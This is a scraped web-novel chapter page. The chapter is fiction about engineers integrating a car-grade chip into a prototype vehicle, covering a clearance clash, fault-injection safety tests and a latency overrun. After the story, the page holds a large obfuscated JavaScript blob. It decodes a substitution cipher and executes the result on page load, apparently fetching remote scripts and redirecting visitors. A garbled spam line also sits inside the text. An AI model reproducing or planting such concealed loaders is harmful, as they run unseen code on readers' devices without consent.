首页
[切换至繁体版]
返回

第328章 天程车规晶片样车集成

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    秦峥站在天行者整车集成中心的测试车间里,面前是一台被拆空了中控台和座椅的工程样车。线束从仪表台的骨架里伸出来,像一团被剖开的血管,每一根都贴着黄色的标签纸,上面标注着信号名称和测试点。样车的后排被改造成了数据采集站,三台工业电脑叠在一起,风扇的嗡鸣声盖过了车间里空调的低频震动。
    本书首发台湾小説网→??????????.??????,提供给你无错章节,无乱序章节的阅读体验
    天程车规晶片的第一次样车集成,原定于今天上午九点开始。
    现在是上午十点四十分,晶片还没有装上去。
    不是因为晶片没准备好,而是因为整车的电子电气架构在最后一刻暴露了一个秦峥没有预料到的问题——天程晶片的物理尺寸和散热方案,与天行者原有设计的安装位置发生了干涉。不是差很多,是差了不到四毫米。但在这类集成中,四毫米和四米没有区别,装不进去就是装不进去。
    「散热鳍片和空调管路的接口支架打架。」整车集成负责人老周蹲在发动机舱旁边,手里拿着一把卡尺,量了一遍又一遍。「天程晶片的FCBGA封装比我们之前用的样品厚了零点三毫米,加上底部的散热垫和顶部的散热鳍片,总高度比设计值多了三点七毫米。这三点七毫米刚好顶到空调管路的最低点。」
    章宸站在旁边,脸色不太好看。天程晶片的封装厚度增加是因为在最后阶段增加了一层电源完整性优化的金属层,这个改动通过了所有电气性能测试,但没有人想到会和天行者的空调管路干涉。
    「不是你的问题。」秦峥对章宸说,声音很平静。「天行者的电子电气架构是一年前冻结的,那时候天程晶片的封装还没定。这种整车集成层面的干涉,是系统集成团队的责任,不是晶片团队的责任。」
    老周站起来,把卡尺收进口袋,调出一张整车的3D数模,投在旁边的屏幕上。「三个解决方案。第一,改空调管路的走向,绕开散热鳍片。代价是重新开模做管路,至少两周,而且可能会影响空调系统的制冷效率。」
    「第二,换薄一点的散热垫。现有的散热垫厚度是一点五毫米,可以换成一毫米的,导热系数不变,代价是热阻增加,晶片结温可能会升高两到三度。天程晶片的工作结温上限是一百二十五度,升高两三度还在范围内,但余量会被吃掉。」
    「第三,不改硬体,改安装方式。把天程晶片的主板旋转一百八十度安装,散热鳍片的位置会从空调管路的正下方偏移到侧方,干涉消失。代价是线束要重新走,有几根线束的长度不够,需要换更长或者加延长线。」
    秦峥听完,几乎没有犹豫。
    「方案三。不改硬体,不牺牲性能,不降低热余量。线束延长线,库存有没有?」
    「有。天行者的线束是模块化设计的,延长线是标准件,仓库里有现货。」老周已经在数模上把旋转后的线束走向标了出来,「但要重新做电磁兼容测试,线束变长了,辐射发射和抗干扰特性会变。」
    「做。今天下午之前把延长线换上,晚上跑电磁兼容预扫。如果预扫不过,再考虑方案二。」
    章宸看了秦峥一眼,没有说话。他知道秦峥为什么选方案三——不是因为方案三最快,而是因为方案三不改变任何性能参数。在样车集成这个阶段,每一点性能余量都是宝贵的,不能为了省事就把它吃掉。
    集成团队开始动手。老周带着三个工程师拆主板丶旋转方向丶重新布线。秦峥站在旁边看着,没有插手,也没有催促。他的终端一直在震动,是天行者量产团队的进度报告和供应链的物料到货确认,但他没有看,因为现在最重要的事情是让天程晶片在今晚之前跑起来。
    下午三点,主板重新安装完成。线束延长线接好后,整个发动机舱看起来比之前乱了一些,但所有接口都卡到位了,散热鳍片和空调管路之间留出了将近八毫米的间隙,干涉问题解决。
    老周把万用表接上电源线,测了一遍供电电压。十二伏稳定,五伏稳定,三点三伏稳定。
    「上电。」秦峥说。
    老周按下了电源开关。
    主板上的指示灯亮了。先是红色的待机灯,然后是绿色的核心电源灯,最后是蓝色的系统心跳灯——一闪一闪,频率稳定,说明天程晶片已经成功上电,内部的电源管理单元和时钟电路工作正常。
    数据采集站的屏幕上开始滚动串口日志。秦峥走过去,一行一行地看。
    「BootROM启动……PLL锁定……DDR初始化……PCIE链路训练……GPU核心唤醒……NPU引擎加载……全部通过。」
    老周长出了一口气,靠在样车的车门上。
    「晶片活了。」
    秦峥没有笑。晶片活了只是第一步,真正的考验在后面——作业系统能不能跑起来?功能安全框架能不能初始化?和整车的通信总线能不能握手?自动驾驶模型的推理延迟能不能满足要求?
    「刷系统。」他说。
    老周把一块装着天枢OS车机版的固态硬碟插到主板上,按下复位键。屏幕上开始滚动更密集的日志——内核加载丶驱动初始化丶服务启动丶安全模块自检。
    三分钟后,天行者的中控屏幕亮了。
    不是完整的界面,只是最底层的启动画面——天枢OS的LOGO下面有一行小字:「功能安全模式·验证中」。画面不是很流畅,帧率明显偏低,但能亮,能响应触摸,能和仪表盘通信。
    秦峥伸手在中控屏幕上划了一下,调出天程晶片的运行状态页。CPU温度五十二度,GPU温度四十八度,NPU温度四十五度,核心电压正常,功耗二十三瓦。所有数字都在预期范围内。
    「第一步完成。」他说,语气里没有喜悦,只有一种冷静的确认。「接下来跑功能安全诊断。」
    功能安全诊断是天程车规晶片样车集成的核心关卡。天权5车规版在设计时就按照ISO26262ASIL-D的最高功能安全等级要求来做的,但实验室里的仿真验证和真实整车环境中的诊断覆盖度是两回事。
    老周调出功能安全诊断套件,开始跑第一组用例——电源管理单元的故障注入测试。套件会模拟各种电源异常,看晶片的安全机制能不能在规定时间内检测到并进入安全状态。
    第一组:核心电压过压。模拟电压从一点二伏缓慢升高到一点五伏。天程晶片的电压监控电路在一点三二伏时触发了预警,在一点三八伏时触发了故障响应,系统在零点八毫秒内完成了上下文保存并进入安全状态。通过。
    第二组:核心电压欠压。模拟电压从一点二伏缓慢降到零点九伏。监控电路在一点零八伏时触发预警,在零点九八伏时触发故障响应,系统在一点二毫秒内完成安全关断。通过。
    第三组:时钟丢失。模拟外部晶振信号中断。天程晶片的内部时钟监控电路在二百微秒内检测到异常,自动切换到备用RC振荡器,系统继续运行,性能下降但功能完整。通过。
    前三组都通过了,但秦峥的表情没有放松。他知道真正难的不是这些常规故障,而是那些在实验室里很难模拟丶但在真实车辆上可能会出现的复合故障。
    果然,跑到第四组的时候,问题出现了。
    第四组是通信总线的故障注入——模拟CAN总线的消息丢失和校验错误。天程晶片通过CAN总线与整车的车身控制器丶刹车系统丶转向系统通信。测试套件会在总线上随机注入错误帧,看晶片的错误处理机制能不能正确识别并隔离故障。
    前五分钟,一切正常。晶片的错误检测逻辑捕获了每一个注入的错误帧,记录到日志中,但没有触发安全响应——因为这些错误不影响核心功能。
    第六分钟,老周注入了一个更复杂的故障模式——连续五个有效帧中插入一个错误帧,重复一百次。这种模式模拟的是某个传感器间歇性故障导致的通信质量下降。
    天程晶片的处理逻辑在第三十七次重复时出现了一个小问题——错误帧处理模块的缓存满了,导致后续几个错误帧被丢弃,没有记录到日志中。但核心功能没有受影响,安全状态也没有被触发。
    「这不是功能安全问题,是诊断完整性问题。」章宸看了日志后说,「错误帧太多,处理模块的缓存溢出,丢了一些日志。但错误帧本身已经被总线控制器识别并丢弃了,没有进入上层应用。所以对功能安全没有影响,只是我们丢了几条诊断记录。」
    秦峥把这个问题记在了测试报告的「待改进」栏里,但没有把它列为阻塞问题。诊断记录丢失不会影响行车安全,只是会给售后故障分析带来一些不便。
    真正的阻塞问题出现在第七组测试——自动驾驶模型推理的实时性验证。
    天程晶片的NPU引擎需要在规定时间内完成自动驾驶模型的推理,输出控制指令。天行者的要求是:从传感器数据输入到控制指令输出,端到端延迟不超过五十毫秒。
    在实验室的仿真环境中,天程晶片的NPU引擎跑这个模型的平均延迟是三十八毫秒,最差延迟四十四毫秒,满足要求。
    但在样车集成的真实环境中,老周跑完第一轮实测后,屏幕上显示的数字让所有人都沉默了。
    平均延迟四十七毫秒,最差延迟六十三毫秒。
    六十三毫秒,超过了五十毫秒的要求。
    「哪里来的延迟?」秦峥的声音不大,但每个字都带着重量。
    老周调出了延迟分解图。数据从摄像头和雷达进入天程晶片,经过预处理丶NPU推理丶后处理丶控制指令生成,每一个环节的延迟都被精确测量。
    预处理:六毫秒。和实验室一致。
    NPU推理:二十八毫秒。和实验室一致。
    后处理:十一毫秒。实验室是九毫秒,多了两毫秒。
    控制指令生成:十八毫秒。实验室是十毫秒,多了八毫秒。
    问题出在后处理和指令生成环节。这两个环节在实验室里跑得很好,但在样车上变慢了。
    章宸蹲下来,盯着数据采集站的屏幕,手指在触摸板上快速移动,调出了后处理和指令生成环节的详细日志。
    「后处理多了两毫秒,是因为数据量变大了。实验室里我们用的是固定的合成数据,格式规整,处理起来很快。但真实摄像头的数据有噪声丶有畸变丶有丢帧,后处理算法需要做更多的校验和修正,所以慢了。」
    「指令生成多了八毫秒,是因为和整车通信的协议栈延迟。实验室里我们用的是模拟的通信环境,延迟固定且很低。但真实车辆的总线负载很高,车身控制器丶刹车系统丶转向系统丶电池管理系统都在上面发消息,天程晶片的指令生成模块需要等待总线空闲才能发送控制指令,等待的时间就是延迟的主要来源。」
    秦峥听完,沉默了几秒。
    「指令生成模块的延迟,能不能通过调整任务优先级来减少?比如把控制指令的发送优先级提到最高,其他消息让路?」
    老周摇了摇头:「CAN总线的优先级是硬体固定的,不是软体可调的。控制指令用的消息ID优先级已经是最高的了,但总线负载太高的时候,高优先级的消息也要排队。」
    「那能不能换一种通信方式?不用CAN,用乙太网?」
    「可以,但天行者的当前版本不支持。下一代车型已经在规划乙太网骨干网了,但这一代不行。」
    秦峥在笔记本上写了一个词:「妥协」。
    不是对性能妥协,而是对现实妥协。天程晶片的第一次样车集成,后处理延迟和指令生成延迟的问题不能等到下一代车型解决,必须在当前平台上找到工程上可行的优化方案。
    「后处理延迟,让算法团队优化代码,把校验和修正的开销降低百分之三十。两周内出优化版本。」
    「指令生成延迟,不改硬体,改策略——让天程晶片的控制指令生成模块提前计算,提前排队,不等到最后一刻才发。只要总线一有空闲,就把最新的一条指令发出去。这样虽然单次发送的延迟没变,但平均有效延迟会降低。老周,你回去和通信团队碰一下,三天内给我一个可行性评估。」
    老周点了点头。
    秦峥转身看着章宸。
    「天程晶片的NPU推理延迟没有问题,但后处理和指令生成的延迟问题,需要在晶片层面提供更多的硬体加速支持。后处理的校验和修正算法,能不能在下一代晶片里用专用硬体实现?指令生成的排队和发送,能不能集成到晶片的通信控制器里?」
    章宸明白秦峥的意思。这不是对天程晶片的批评,而是对下一代晶片的需求输入。
    「后处理的硬体加速,天权5的规划里已经有了,但原定是放在第二版。我可以把它提到第一版。指令生成和通信控制的集成,需要和总线团队一起设计,周期会长一些,但可以在天权5的第二版里实
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();